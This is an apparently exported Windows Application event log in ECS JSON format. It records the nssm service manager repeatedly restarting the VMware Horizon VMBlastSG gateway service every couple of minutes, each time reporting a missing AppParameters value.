{"@timestamp":1646814474809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165754}}
{"@timestamp":1646814474809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165755}}
{"@timestamp":1646814474810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162780","0"]}}},"module":"Application","provider":"nssm","sequence":165756}}
{"@timestamp":1646814474810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162780","162780","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165757}}
{"@timestamp":1646814474826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165758}}
{"@timestamp":1646814474827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165759}}
{"@timestamp":1646814474827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165760}}
{"@timestamp":1646814474828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165761}}
{"@timestamp":1646814603338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165762}}
{"@timestamp":1646814603339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165763}}
{"@timestamp":1646814603340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161864","0"]}}},"module":"Application","provider":"nssm","sequence":165764}}
{"@timestamp":1646814603341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161864","161864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165765}}
{"@timestamp":1646814603362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165766}}
{"@timestamp":1646814603363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165767}}
{"@timestamp":1646814603363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165768}}
{"@timestamp":1646814603364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165769}}
{"@timestamp":1646814732054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165770}}
{"@timestamp":1646814732055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165771}}
{"@timestamp":1646814732056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162176","0"]}}},"module":"Application","provider":"nssm","sequence":165772}}
{"@timestamp":1646814732057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162176","162176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165773}}
{"@timestamp":1646814732075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165774}}
{"@timestamp":1646814732076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165775}}
{"@timestamp":1646814732076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165776}}
{"@timestamp":1646814732077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165777}}
{"@timestamp":1646814860608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165778}}
{"@timestamp":1646814860609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165779}}
{"@timestamp":1646814860609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163224","0"]}}},"module":"Application","provider":"nssm","sequence":165780}}
{"@timestamp":1646814860609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163224","163224","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165781}}
{"@timestamp":1646814860629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165782}}
{"@timestamp":1646814860630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165783}}
{"@timestamp":1646814860630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165784}}
{"@timestamp":1646814860631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165785}}
{"@timestamp":1646814989120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165786}}
{"@timestamp":1646814989121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165787}}
{"@timestamp":1646814989122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159428","0"]}}},"module":"Application","provider":"nssm","sequence":165788}}
{"@timestamp":1646814989123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159428","159428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165789}}
{"@timestamp":1646814989144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165790}}
{"@timestamp":1646814989145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165791}}
{"@timestamp":1646814989146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165792}}
{"@timestamp":1646814989146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165793}}
{"@timestamp":1646815117650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165794}}
{"@timestamp":1646815117651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165795}}
{"@timestamp":1646815117652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162968","0"]}}},"module":"Application","provider":"nssm","sequence":165796}}
{"@timestamp":1646815117652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162968","162968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165797}}
{"@timestamp":1646815117669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165798}}
{"@timestamp":1646815117669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165799}}
{"@timestamp":1646815117670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165800}}
{"@timestamp":1646815117671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165801}}
{"@timestamp":1646815246220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165802}}
{"@timestamp":1646815246220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165803}}
{"@timestamp":1646815246221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163624","0"]}}},"module":"Application","provider":"nssm","sequence":165804}}
{"@timestamp":1646815246223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163624","163624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165805}}
{"@timestamp":1646815246243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165806}}
{"@timestamp":1646815246244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165807}}
{"@timestamp":1646815246244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165808}}
{"@timestamp":1646815246245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165809}}
{"@timestamp":1646815374742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165810}}
{"@timestamp":1646815374743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165811}}
{"@timestamp":1646815374744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162552","0"]}}},"module":"Application","provider":"nssm","sequence":165812}}
{"@timestamp":1646815374745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162552","162552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165813}}
{"@timestamp":1646815374768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165814}}
{"@timestamp":1646815374769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165815}}
{"@timestamp":1646815374770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165816}}
{"@timestamp":1646815374771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165817}}
{"@timestamp":1646815503281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165818}}
{"@timestamp":1646815503282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165819}}
{"@timestamp":1646815503283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163504","0"]}}},"module":"Application","provider":"nssm","sequence":165820}}
{"@timestamp":1646815503284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163504","163504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165821}}
{"@timestamp":1646815503303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165822}}
{"@timestamp":1646815503304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165823}}
{"@timestamp":1646815503304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165824}}
{"@timestamp":1646815503305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165825}}
{"@timestamp":1646815631827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165826}}
{"@timestamp":1646815631827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165827}}
{"@timestamp":1646815631828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162892","0"]}}},"module":"Application","provider":"nssm","sequence":165828}}
{"@timestamp":1646815631828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162892","162892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165829}}
{"@timestamp":1646815631845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165830}}
{"@timestamp":1646815631846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165831}}
{"@timestamp":1646815631846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165832}}
{"@timestamp":1646815631847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165833}}
{"@timestamp":1646815760328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165834}}
{"@timestamp":1646815760329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165835}}
{"@timestamp":1646815760329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163336","0"]}}},"module":"Application","provider":"nssm","sequence":165836}}
{"@timestamp":1646815760331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163336","163336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165837}}
{"@timestamp":1646815760349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165838}}
{"@timestamp":1646815760349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165839}}
{"@timestamp":1646815760350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165840}}
{"@timestamp":1646815760350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165841}}
{"@timestamp":1646815888837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165842}}
{"@timestamp":1646815888838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165843}}
{"@timestamp":1646815888839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161876","0"]}}},"module":"Application","provider":"nssm","sequence":165844}}
{"@timestamp":1646815888839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161876","161876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165845}}
{"@timestamp":1646815888857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165846}}
{"@timestamp":1646815888858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165847}}
{"@timestamp":1646815888858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165848}}
{"@timestamp":1646815888859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165849}}
{"@timestamp":1646816017427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165850}}
{"@timestamp":1646816017428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165851}}
{"@timestamp":1646816017428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162988","0"]}}},"module":"Application","provider":"nssm","sequence":165852}}
{"@timestamp":1646816017429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162988","162988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165853}}
{"@timestamp":1646816017447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165854}}
{"@timestamp":1646816017448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165855}}
{"@timestamp":1646816017448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165856}}
{"@timestamp":1646816017449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165857}}
{"@timestamp":1646816145936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165858}}
